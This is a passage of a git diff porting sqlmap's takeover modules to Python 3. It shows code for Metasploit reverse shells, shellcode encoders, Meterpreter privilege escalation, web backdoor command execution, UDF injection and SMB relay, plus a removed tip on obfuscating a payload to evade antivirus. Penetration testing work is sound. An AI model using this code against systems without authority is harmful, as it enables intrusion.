5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), - }, - "linux": { - 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), - 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), - } - } + "windows": { + 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), + 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), + 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), + 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), + 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), + }, + "linux": { + 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), + 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), + } + } self._msfEncodersList = { - "windows": { - 1: ("No Encoder", "generic/none"), - 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), - 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), - 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), - 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), - 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), - 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), - 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), - 9: ("Non-Alpha Encoder", "x86/nonalpha"), - 10: ("Non-Upper Encoder", "x86/nonupper"), - 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), - 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), - 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), - } - } + "windows": { + 1: ("No Encoder", "generic/none"), + 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), + 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), + 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), + 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), + 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), + 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), + 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), + 9: ("Non-Alpha Encoder", "x86/nonalpha"), + 10: ("Non-Upper Encoder", "x86/nonupper"), + 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), + 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), + 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), + } + } self._msfSMBPortsList = { - "windows": { - 1: ("139/TCP", "139"), - 2: ("445/TCP (default)", "445"), - } - } + "windows": { + 1: ("139/TCP", "139"), + 2: ("445/TCP (default)", "445"), + } + } self._portData = { - "bind": "remote port number", - "reverse": "local port number", - } + "bind": "remote port number", + "reverse": "local port number", + } def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): @@ -168,19 +155,8 @@ def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): choice = readInput(message, default="%d" % default) - if not choice: - if lst: - choice = getUnicode(default, UNICODE_ENCODING) - else: - return default - - elif not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") - return self._skeletonSelection(msg, lst, maxValue, default) - - elif int(choice) > maxValue or int(choice) < 1: - logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) - return self._skeletonSelection(msg, lst, maxValue, default) + if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1: + choice = default choice = int(choice) @@ -197,7 +173,7 @@ def _selectEncoder(self, encode=True): # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec - if isinstance(encode, basestring): + if isinstance(encode, six.string_types): return encode elif encode: @@ -220,7 +196,7 @@ def _selectPayload(self): if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, it is likely that the the VNC " + debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) @@ -230,7 +206,7 @@ def _selectPayload(self): warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" - logger.warn(warnMsg) + logger.warning(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True @@ -239,7 +215,7 @@ def _selectPayload(self): warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" - logger.warn(warnMsg) + logger.warning(warnMsg) if choose: message = "what do you want to do?\n" @@ -252,34 +228,31 @@ def _selectPayload(self): if not choice or choice == "2": _payloadStr = "windows/meterpreter" - break elif choice == "3": _payloadStr = "windows/shell" - break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): - logger.warn("beware that the VNC injection might not work") - + logger.warning("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break - elif not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") + elif not isDigit(choice): + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: - logger.warn("invalid value, it must be 1 or 2") + logger.warning("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" - logger.warn(warnMsg) + logger.warning(warnMsg) self.connectionStr = "reverse_tcp" @@ -352,7 +325,7 @@ def _forgeMsfCliCmd(self, exitfunc="process"): self._cliCmd += " E" else: - self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr @@ -430,10 +403,12 @@ def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): self._payloadCmd += " X > \"%s\"" % outFile else: if extra == "BufferRegister=EAX": - self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile) + self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) if extra is not None: self._payloadCmd += " %s" % extra + + self._payloadCmd += " > \"%s\"" % outFile else: self._payloadCmd += " -f exe > \"%s\"" % outFile @@ -483,15 +458,18 @@ def _loadMetExtensions(self, proc, metSess): send_all(proc, "use espia\n") send_all(proc, "use incognito\n") - # This extension is loaded by default since Metasploit > 3.7 - #send_all(proc, "use priv\n") - # This extension freezes the connection on 64-bit systems - #send_all(proc, "use sniffer\n") + + # This extension is loaded by default since Metasploit > 3.7: + # send_all(proc, "use priv\n") + + # This extension freezes the connection on 64-bit systems: + # send_all(proc, "use sniffer\n") + send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: - print + print() infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " @@ -500,7 +478,7 @@ def _loadMetExtensions(self, proc, metSess): send_all(proc, "getsystem\n") - infoMsg = "displaying the list of Access Tokens availables. " + infoMsg = "displaying the list of available Access Tokens. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" @@ -528,7 +506,7 @@ def _controlMsfCmd(self, proc, func): if IS_WIN: timeout = 3 - inp = "" + inp = b"" _ = time.time() while True: @@ -550,7 +528,7 @@ def _controlMsfCmd(self, proc, func): # Probably the child has exited pass else: - ready_fds = select([stdin_fd], [], [], 1) + ready_fds = select.select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: @@ -560,14 +538,14 @@ def _controlMsfCmd(self, proc, func): pass out = recv_some(proc, t=.1, e=0) - blockingWriteToFD(sys.stdout.fileno(), out) + blockingWriteToFD(sys.stdout.fileno(), getBytes(out)) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") - pwnBofCond &= "Starting the payload handler" in out + pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse")) # For --os-smbrelay - smbRelayCond = "Server started" in out + smbRelayCond = b"Server started" in out if pwnBofCond or smbRelayCond: func() @@ -575,7 +553,7 @@ def _controlMsfCmd(self, proc, func): timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: - match = re.search("Meterpreter session ([\d]+) opened", out) + match = re.search(b"Meterpreter session ([\\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) @@ -591,15 +569,16 @@ def _controlMsfCmd(self, proc, func): errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) - if conf.liveTest and timeout: - if initialized: - send_all(proc, "exit\n") - time.sleep(2) - else: - proc.kill() - + except select.error as ex: + # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f + if ex.args[0] == errno.EINTR: + continue + else: + return proc.returncode except (EOFError, IOError): return proc.returncode + except KeyboardInterrupt: + pass def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " @@ -619,22 +598,22 @@ def createMsfShellcode(self, exitfunc, format, extra, encode): pollProcess(process) payloadStderr = process.communicate()[1] - match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr) + match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": - payloadSize = payloadSize / 2 + payloadSize = payloadSize // 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: - errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "") + errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) self._shellcodeFP = open(self._shellcodeFilePath, "rb") - self.shellcodeString = self._shellcodeFP.read() + self.shellcodeString = getText(self._shellcodeFP.read()) self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) @@ -646,7 +625,7 @@ def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: - content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))) + content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) @@ -668,13 +647,10 @@ def uploadShellcodeexec(self, web=False): written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: - errMsg = "there has been a problem uploading shellcodeexec, it " + errMsg = "there has been a problem uploading shellcodeexec. It " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " - errMsg += "flagged it as malicious and removed it. In such a case " - errMsg += "it is recommended to recompile shellcodeexec with " - errMsg += "slight modification to the source code or pack it " - errMsg += "with an obfuscator software" + errMsg += "flagged it as malicious and removed it" logger.error(errMsg) return False @@ -710,9 +686,9 @@ def smb(self): self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) + self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: - self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) + self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index fbeff3490e0..5abec5fabc3 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,18 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os +from lib.core.common import openFile from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger from lib.core.enums import REGISTRY_OPERATION -class Registry: +class Registry(object): """ This class defines methods to read and write Windows registry keys """ @@ -33,22 +34,22 @@ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" self._batRead = ( - "@ECHO OFF\r\n", - readParse, - ) + "@ECHO OFF\r\n", + readParse, + ) self._batAdd = ( - "@ECHO OFF\r\n", - "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), - ) + "@ECHO OFF\r\n", + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), + ) self._batDel = ( - "@ECHO OFF\r\n", - "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), - ) + "@ECHO OFF\r\n", + "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), + ) def _createLocalBatchFile(self): - self._batPathFp = open(self._batPathLocal, "w") + self._batPathFp = openFile(self._batPathLocal, "w") if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index d5f95138356..7a6d51e0336 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,26 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent +from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToStdout -from lib.core.common import Backend +from lib.core.common import isDigit from lib.core.common import isStackingAvailable from lib.core.common import readInput +from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import OS -from lib.core.common import unArrayizeValue from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUnsupportedFeatureException @@ -28,7 +30,7 @@ from lib.core.unescaper import unescaper from lib.request import inject -class UDF: +class UDF(object): """ This class defines methods to deal with User-Defined Functions for plugins. @@ -42,12 +44,8 @@ def __init__(self): def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " - output = readInput(message, default="N") - if output and output[0] in ("y", "Y"): - return True - else: - return False + return readInput(message, default='N', boolean=True) def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) @@ -112,7 +110,7 @@ def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): return output def udfCheckNeeded(self): - if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: + if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: @@ -132,7 +130,7 @@ def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) - def udfCreateFromSharedLib(self, udf=None, inpRet=None): + def udfCreateFromSharedLib(self, udf, inpRet): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) @@ -158,9 +156,8 @@ def udfInjectCore(self, udfDict): message = "do you want to proceed anyway? Beware that the " message += "operating system takeover will fail [y/N] " - choice = readInput(message, default="N") - if choice and choice.lower() == "y": + if readInput(message, default='N', boolean=True): written = True else: return False @@ -200,19 +197,19 @@ def udfInjectCustom(self): if not self.isDba(): warnMsg = "functionality requested probably does not work because " - warnMsg += "the curent session user is not a database administrator" - logger.warn(warnMsg) + warnMsg += "the current session user is not a database administrator" + logger.warning(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: - self.udfLocalFile = readInput(msg) + self.udfLocalFile = readInput(msg, default=None, checkBatch=False) if self.udfLocalFile: break else: - logger.warn("you need to specify the local path of the shared library") + logger.warning("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib @@ -234,16 +231,16 @@ def udfInjectCustom(self): errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) - self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] - self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] + self.udfSharedLibName = os.path.splitext(os.path.basename(self.udfLocalFile))[0] + self.udfSharedLibExt = os.path.splitext(self.udfLocalFile)[1][1:] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " while True: - udfCount = readInput(msg, default=1) + udfCount = readInput(msg, default='1') - if isinstance(udfCount, basestring) and udfCount.isdigit(): + if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: @@ -251,23 +248,19 @@ def udfInjectCustom(self): return else: break - - elif isinstance(udfCount, int): - break - else: - logger.warn("invalid value, only digits are allowed") + logger.warning("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) - udfName = readInput(msg) + udfName = readInput(msg, default=None, checkBatch=False) if udfName: self.udfs[udfName] = {} break else: - logger.warn("you need to specify the name of the UDF") + logger.warning("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" @@ -276,32 +269,28 @@ def udfInjectCustom(self): self.udfs[udfName]["input"] = [] - default = 1 msg = "how many input parameters takes UDF " - msg += "'%s'? (default: %d) " % (udfName, default) + msg += "'%s'? (default: 1) " % udfName while True: - parCount = readInput(msg, default=default) + parCount = readInput(msg, default='1') - if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0: + if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break - elif isinstance(parCount, int): - break - else: - logger.warn("invalid value, only digits >= 0 are allowed") + logger.warning("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: - parType = readInput(msg, default=defaultType) + parType = readInput(msg, default=defaultType).strip() - if isinstance(parType, basestring) and parType.isdigit(): - logger.warn("you need to specify the data-type of the parameter") + if parType.isdigit(): + logger.warning("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) @@ -313,8 +302,8 @@ def udfInjectCustom(self): while True: retType = readInput(msg, default=defaultType) - if isinstance(retType, basestring) and retType.isdigit(): - logger.warn("you need to specify the data-type of the return value") + if hasattr(retType, "isdigit") and retType.isdigit(): + logger.warning("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break @@ -327,12 +316,12 @@ def udfInjectCustom(self): msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " - choice = readInput(msg, default="Y") + choice = readInput(msg, default='Y').upper() - if choice[0] in ("n", "N"): + if choice == 'N': self.cleanup(udfDict=self.udfs) return - elif choice[0] in ("q", "Q"): + elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException @@ -347,19 +336,17 @@ def udfInjectCustom(self): msg += "\n[q] Quit" while True: - choice = readInput(msg) + choice = readInput(msg, default=None, checkBatch=False).upper() - if choice and choice[0] in ("q", "Q"): + if choice == 'Q': break - elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break - elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): - break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) - logger.warn(warnMsg) + logger.warning(warnMsg) if not isinstance(choice, int): break @@ -373,7 +360,7 @@ def udfInjectCustom(self): msg += "%d (data-type: %s)? " % (count, inp) while True: - parValue = readInput(msg) + parValue = readInput(msg, default=None, checkBatch=False) if parValue: if "int" not in inp and "bool" not in inp: @@ -383,16 +370,15 @@ def udfInjectCustom(self): break else: - logger.warn("you need to specify the value of the parameter") + logger.warning("you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " - choice = readInput(msg, default="Y") - if choice[0] in ("y", "Y"): + if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: @@ -403,9 +389,8 @@ def udfInjectCustom(self): self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " - choice = readInput(msg, default="Y") - if choice[0] not in ("y", "Y"): + if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 504fb4a2c8d..321840a8e4a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,17 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import io import os import posixpath import re -import StringIO -import urlparse - -from tempfile import mkstemp +import tempfile from extra.cloak.cloak import decloak from lib.core.agent import agent @@ -22,42 +20,53 @@ from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet -from lib.core.common import getUnicode -from lib.core.common import ntToPosixSlashes +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData +from lib.core.common import isDigit from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath +from lib.core.common import ntToPosixSlashes +from lib.core.common import openFile +from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage -from lib.core.convert import hexencode -from lib.core.convert import utf8encode +from lib.core.compat import xrange +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.datatype import OrderedSet from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import OS from lib.core.enums import PAYLOAD -from lib.core.enums import WEB_API +from lib.core.enums import PLACE +from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX +from lib.core.settings import SHELL_RUNCMD_EXE_TAG +from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request -from thirdparty.oset.pyoset import oset - +from thirdparty.six.moves import urllib as _urllib -class Web: +class Web(object): """ This class defines web-oriented OS takeover functionalities for plugins. """ def __init__(self): - self.webApi = None + self.webPlatform = None self.webBaseUrl = None self.webBackdoorUrl = None self.webBackdoorFilePath = None @@ -74,11 +83,11 @@ def webBackdoorRunCmd(self, cmd): if not cmd: cmd = conf.osCmd - cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) + cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: - output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) + output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) @@ -90,11 +99,17 @@ def webUpload(self, destFileName, directory, stream=None, content=None, filepath if filepath.endswith('_'): content = decloak(filepath) # cloaked file else: - with open(filepath, "rb") as f: + with openFile(filepath, "rb", encoding=None) as f: content = f.read() if content is not None: - stream = StringIO.StringIO(content) # string content + stream = io.BytesIO(getBytes(content)) # string content + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 + # Reference: https://stackoverflow.com/a/4677542 + stream.seek(0, os.SEEK_END) + stream.len = stream.tell() + stream.seek(0, os.SEEK_SET) return self._webFileStreamUpload(stream, destFileName, directory) @@ -106,45 +121,44 @@ def _webFileStreamUpload(self, stream, destFileName, directory): except TypeError: pass - if self.webApi in getPublicTypeMembers(WEB_API, True): + if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): multipartParams = { - "upload": "1", - "file": stream, - "uploadDir": directory, - } + "upload": "1", + "file": stream, + "uploadDir": directory, + } - if self.webApi == WEB_API.ASPX: + if self.webPlatform == WEB_PLATFORM.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE - page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) + page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) - if "File uploaded" not in page: + if "File uploaded" not in (page or ""): warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: return True else: - logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi) + logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform) return False def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) - uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) + uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" - if isTechniqueAvailable(kb.technique): - where = kb.injection.data[kb.technique].where + if isTechniqueAvailable(getTechnique()): + where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) - query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) - query = agent.prefixQuery(query) - query = agent.suffixQuery(query) + query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) @@ -156,13 +170,13 @@ def webInit(self): remote directory within the web server document root. """ - if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: + if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None - choices = list(getPublicTypeMembers(WEB_API, True)) + choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): @@ -170,7 +184,7 @@ def webInit(self): break if not default: - default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP + default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" @@ -187,30 +201,93 @@ def webInit(self): while True: choice = readInput(message, default=str(default)) - if not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") + if not isDigit(choice): + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): - logger.warn("invalid value, it must be between 1 and %d" % len(choices)) + logger.warning("invalid value, it must be between 1 and %d" % len(choices)) else: - self.webApi = choices[int(choice) - 1] + self.webPlatform = choices[int(choice) - 1] break + if not kb.absFilePaths: + message = "do you want sqlmap to further try to " + message += "provoke the full path disclosure? [Y/n] " + + if readInput(message, default='Y', boolean=True): + headers = {} + been = set([conf.url]) + + for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): + url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") + if url not in been: + try: + page, _, _ = Request.getPage(url=url, raise404=False, silent=True) + parseFilePaths(page) + except: + pass + finally: + been.add(url) + + url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) + if url not in been: + try: + page, _, _ = Request.getPage(url=url, raise404=False, silent=True) + parseFilePaths(page) + except: + pass + finally: + been.add(url) + + for place in (PLACE.GET, PLACE.POST): + if place in conf.parameters: + value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) + if "[]" in value: + page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + + cookie = None + if PLACE.COOKIE in conf.parameters: + cookie = conf.parameters[PLACE.COOKIE] + elif headers and 